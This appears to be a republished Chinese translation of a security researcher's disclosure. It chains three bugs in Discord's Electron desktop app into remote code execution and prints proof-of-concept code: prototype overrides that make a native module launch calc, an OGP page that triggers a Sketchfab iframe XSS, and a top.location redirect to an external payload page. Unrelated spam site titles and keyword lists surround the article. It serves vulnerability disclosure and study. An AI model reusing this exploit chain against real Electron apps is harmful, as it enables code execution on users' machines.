中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

綜合三個Bug怎樣實現Discord桌面應用RCE漏洞

發布時間:2021-12-18 14:49:27 來源:億速云 閱讀:121 作者:柒染 欄目:網絡管理

這篇文章給大家介紹綜合三個Bug怎樣實現Discord桌面應用RCE漏洞,內容非常詳細,感興趣的小伙伴們可以參考借鑒,希望對大家能有所幫助。

通過多個bug的綜合利用,成功發現了Discord桌面應用的遠程代碼執行漏洞(RCE)。

Discord 是一款適用于游戲玩家一體化語音和文字聊天的即時通信(IM)軟件。 目前 Discord 已經覆蓋 Windows、MacOS、Android、iOS、Windows Phone等多種主流平臺。

我選擇測試Discord的原因

由于我對Electron架構的APP漏洞測試比較有經驗,而剛好Discord應用正是基于Electron架構開發的,且我也是一名Discord用戶,所以本著測試把玩的心態,我就對Discord進行了分析。

發現的漏洞

我發現了以下Discord應用存在的三個bug,綜合利用最終形成了RCE漏洞:

Missing contextIsolation(contextIsolation功能未啟用)
XSS in iframe embeds(iframe嵌入功能中的XSS)
Navigation 導航限制功能繞過 (Navigation restriction bypass,CVE-2020-15174)

contextIsolation功能未啟用(Missing contextIsolation)

在測試Electron架構時,通常我會先檢查BrowserWindow API的選項,當創建瀏覽器窗口時BrowserWindow API會被調用。測試時,我就在想,當Electron渲染器(renderer)加載時,怎樣的任意JS代碼執行才會引起RCE?
雖然Discord的Electron架構并不是開源的,但Electron的JS代碼是保存在應用本地,所以我是可以提取查看到的。通過本地JS代碼的查看,我發現在APP主界面后臺下,使用了以下方法函數:

const mainWindowOptions = {
  title: 'Discord',
  backgroundColor: getBackgroundColor(),
  width: DEFAULT_WIDTH,
  height: DEFAULT_HEIGHT,
  minWidth: MIN_WIDTH,
  minHeight: MIN_HEIGHT,
  transparent: false,
  frame: false,
  resizable: true,
  show: isVisible,
  webPreferences: {
    blinkFeatures: 'EnumerateDevices,AudioOutputDevices',
    nodeIntegration: false,
    preload: _path3.default.join(__dirname, 'mainScreenPreload.js'),
    nativeWindowOpen: true,
    enableRemoteModule: false,
    spellcheck: true
  }
};

從上述代碼片段中,可以看出,我們著重需要檢查的是其中的nodeIntegration和contextIsolation配置,這里的nodeIntegration都被配置為了false,且原先未修改版本的和contextIsolation也被配置為了false。

如果nodeIntegration為true,那么web頁面的JS代碼可以通過調用require()方法使用Node.js功能。比如,在Windows系統中執行以下計算器calc.exe程序的代碼:

<script>
  require('child_process').exec('calc');
</script>

而在Discord這里,nodeIntegration為false,所以我也不能調用require()去使用Node.js功能。然而,仍然存在一種訪問Node.js功能的方法。接下來且聽我慢慢解釋。

Discord中的另一重要功能contextIsolation也配置為了false,該功能用來隔離不信任的內容,所以,如果你想消除RCE,那么該功能就不應該配置為false。如果contextIsolation為false,那么web頁面中的JS可以影響Electron內部渲染時的JS代碼和預加載腳本執行,(這里Electron內部渲染時的JS代碼指Web頁面之外的JS腳本),例如,假設用Web頁面JS中的方法函數,把Electron內置JS的方法Array.prototype.join覆蓋掉,那么Web頁面之外的JS腳本在加載join方法時,就會調用后來被覆蓋的方法函數。

這種行為是很危險的,因為這樣一來,可以不用考慮nodeIntegration配置,直接用覆蓋的方式,就可以讓Electron允許Web頁面之外的JS腳本使用Node.js特性,這種方式即使在nodeIntegration配置為false的情況下,都還還可演變為RCE漏洞。

我順便提一下,類似的缺陷早在2016年我在Cure53公司時就已經發現了,當時我上報給了Electron安全團隊,后來在Electron架構中就引入了contextIsolation功能。以下為最近才公開的技術細節PDF:

https://drive.google.com/file/d/1LSsD9gzOejmQ2QipReyMXwr_M0Mg1GMH/view?

https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en

contextIsolation功能的引入目的在于隔離Web頁面和Web頁面之外的JS代碼,讓它們在執行時不會產生相互影響。該功能非常有必要,因為如果存在不被信任的內容或操作,就會產生安全問題。而在Discord這里,該功能卻被配置為false,被禁用了。因此,遵循上述覆蓋JS腳本的方法,我對Discord的此處缺陷發起了測試。

由于Electron內置的JS代碼在渲染時可以在任意的Electron APP中執行,所以一般我測試Electron的RCE時,習慣首先在渲染時用Electron內置的JS代碼來測試。在我的文章中,我寫到了可以用Electron在執行navigation timing時的代碼來實現RCE,該缺陷不僅可以從代碼中發現,還可從其它地方發現(以后我會公布詳細的PoC實例)。但是,由于目標應用不同的Electron版本使用或BrowserWindow選項設置,Discord這里Electron運行啟動時,我實際測試的PoC總是不穩定,所以我把測試重點放在了預加載腳本上。

測試預加載腳本時,我發現Discord應用曝露了DiscordNative.nativeModules.requireModule('MODULE-NAME')方法函數,該函數功能在于可以通過其把一些模塊功能調用到Web頁面中去實現。然而,經測試發現,我并不能有效地調用類似child_process的模塊實現RCE,但卻可以用之前說過的覆蓋方法,覆蓋掉Discord Electron中內置的JS方法,干擾曝露模塊的執行,以此實現RCE。

以下為相關的PoC。當覆蓋掉Discord Electron中內置的RegExp.prototype.test和Array.prototype.join方法,調用"discord_utils"模塊中定義的getGPUDriverVersions方法函數時,可以觸發執行calc.exe程序:

RegExp.prototype.test=function(){
    return false;
}
Array.prototype.join=function(){
    return "calc";
}
DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions();

getGPUDriverVersions方法函數用來執行"execa"庫調用:

module.exports.getGPUDriverVersions = async () => {
  if (process.platform !== 'win32') {
    return {};
  }

  const result = {};
  const nvidiaSmiPath = `${process.env['ProgramW6432']}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`;

  try {
    result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []));
  } catch (e) {
    result.nvidia = {error: e.toString()};
  }

  return result;
};

通常,"execa"庫又是用來執行nvidiaSmiPath變量中指定的"nvidia-smi.exe"顯卡程序的,但由于覆蓋掉了RegExp.prototype.test 和 Array.prototype.join方法,"execa"庫中nvidiaSmiPath變量名即被覆蓋為了"calc"。

具體來說,nvidiaSmiPath中的變量覆蓋需要改變以下兩個JS文件:

https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36

https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55

到了這步,"nvidia-smi.exe"可以成功被替換為"calc",那么接下來只需找到執行JS代碼的方式即可成功實現RCE了。

iframe嵌入功能中的XSS

在我嘗試挖掘XSS的過程中,我發現Discord APP支持類似autolink或Markdown的功能,這有點意思。經測試,如果Discord用戶交流信息中有視頻帖子,如You-tube URL,那么這里類似Markdown的iframe嵌入功能即可顯示出視頻播放器(video player)來。

由于Discord涉及到用戶的各種社交交流信息,所以其支持Open Graph Protocol(開放內容協議),如果用戶交流信息中包含OGP信息,那么Discord應用即會顯示出其中出現的網頁標題、描述、縮略圖和一些相關的視頻內容。當用戶交流信息中的視頻URL鏈接被嵌入到iframe中后,Discord應用會提取出該視頻URL鏈接。后續,我無法查看到Discord應用相關的iframe嵌入功能說明文檔,就只好在其CSP frame-src 指令中尋找線索,發現其采用了以下CSP策略:

Content-Security-Policy: [...] ; frame-src https://*.you-tube.com https://*.twitch.tv https://open.spotify.com https://w.soundcloud.com https://sketchfab.com https://player.vimeo.com https://www.funimation.com https://twitter.com https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/ https://js.stripe.com https://assets.braintreegateway.com https://checkout.paypal.com https://*.watchanimeattheoffice.com

可以看到,其中列出了允許iframe嵌入的策略(如對You-Tube, Twitch, Spotify視頻的嵌入)。接下來,我就對這些域名一個一個進行測試,希望在其中能在iframe視頻嵌入時觸發XSS。經過測試,我發現域名sketchfab.com可以在iframe嵌入時產生XSS,這是一個簡單的DOM-based XSS。以下是我根據OGP協議制作的一個PoC,當我把該URL鏈接以聊天方式發送給另一位Discord用戶時,點擊其中的iframe,就會觸發任意的JS代碼執行:

https://l0.cm/discord_rce_og.html

<head>
    <meta charset="utf-8">
    <meta property="og:title" content="RCE DEMO">
    [...]
    <meta property="og:video:url" content="https://sketchfab.com/models/2b198209466d43328169d2d14a4392bb/embed">
    <meta property="og:video:type" content="text/html">
    <meta property="og:video:width" content="1280">
    <meta property="og:video:height" content="720">
</head>

現在,雖然發現了XSS,但是觸發的JS代碼卻只能在iframe中執行。由于Electron不會把“Web頁面之外的JS代碼”加載進入iframe中,所以即使我覆蓋了其iframe內置的JS方法,還是不能調用Node.js相關功能。因此,要實現真正的RCE,還需要跳出iframe限制,在用戶瀏覽內容層面去考慮。這就需要在iframe框架中創建一個新窗口,或是從iframe中導航(navigating)到另一URL中的頂層窗口。

經過對相關代碼的分析,我發現Navigation restriction(導航限制)的主要代碼中用到了"new-window" 和 "will-navigate"兩個事件:

mainWindow.webContents.on('new-window', (e, windowURL, frameName, disposition, options) => {
  e.preventDefault();
  if (frameName.startsWith(DISCORD_NAMESPACE) && windowURL.startsWith(WEBAPP_ENDPOINT)) {
    popoutWindows.openOrFocusWindow(e, windowURL, frameName, options);
  } else {
    _electron.shell.openExternal(windowURL);
  }
});
[...]
mainWindow.webContents.on('will-navigate', (evt, url) => {
  if (!insideAuthFlow && !url.startsWith(WEBAPP_ENDPOINT)) {
    evt.preventDefault();
  }
});

只要突破這里,就可以在iframe框架中創建一個新窗口,或是從iframe中導航(navigating)到另一URL中的頂層窗口。然而,這里存在著一個讓我完全意想不到的缺陷。

Navigation restriction bypass (導航限制功能繞過,CVE-2020-15174)

在我對導航限制相關代碼進行檢查過程中,我本認為iframe對導航(navigation)應該是有限制的,但我驚奇地發現,iframe不知怎的對導航機制竟然沒有限制。我本來想著,"will-navigate"事件和preventDefault()會在導航動作繞過發生之前進行相關的捕捉或攔截,但是這卻沒有。

為了進行導航繞過測試,我創建了一個簡單的Electron應用,然后發現,頂部導航(top navigation)中的"will-navigate" 事件并不會從iframe中跳出,具體來說,如果頂部導航的所屬域和iframe的所屬域相同,"will-navigate" 事件會跳出,否則就不會跳出。這并不是一種合乎常理的操作行為,而是個Bug。有了這個Bug,我就能繞過導航限制了。最后,我要做的就是,導航到可以觸發XSS的iframe頁面,然后在其中包含進RCE Payload代碼。

top.location="//l0.cm/discord_calc.html"

最終,綜合利用以上三個Bug,我成功在Discord應用中實現的遠程代碼執行(RCE)。
POC視頻:https://tinyurl.com/y5nx6zjy

漏洞處理

我通過Discord眾測項目上報了這三個漏洞,之后,Discord安全團隊禁用了Sketchfab的嵌入功能,然后在iframe中加入了沙箱功能防止導航限制繞過,同時啟用了contextIsolation功能。

關于綜合三個Bug怎樣實現Discord桌面應用RCE漏洞就分享到這里了,希望以上內容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

罗山县| 信丰县| 化州市| 泽州县| 凤城市| 台北市| 云浮市| 海兴县| 垣曲县| 鹤峰县| 望奎县| 易门县| 克东县| 鹰潭市| 永仁县| 焉耆| 望都县| 湛江市| 克拉玛依市| 定安县| 布尔津县| 天台县| 大邑县| 县级市| 榕江县| 云安县| 吉安县| 西平县| 包头市| 阿坝| 化隆| 徐州市| 谢通门县| 都江堰市| 苍溪县| 庐江县| 镇康县| 阿荣旗| 宁河县| 弥勒县| 荔波县|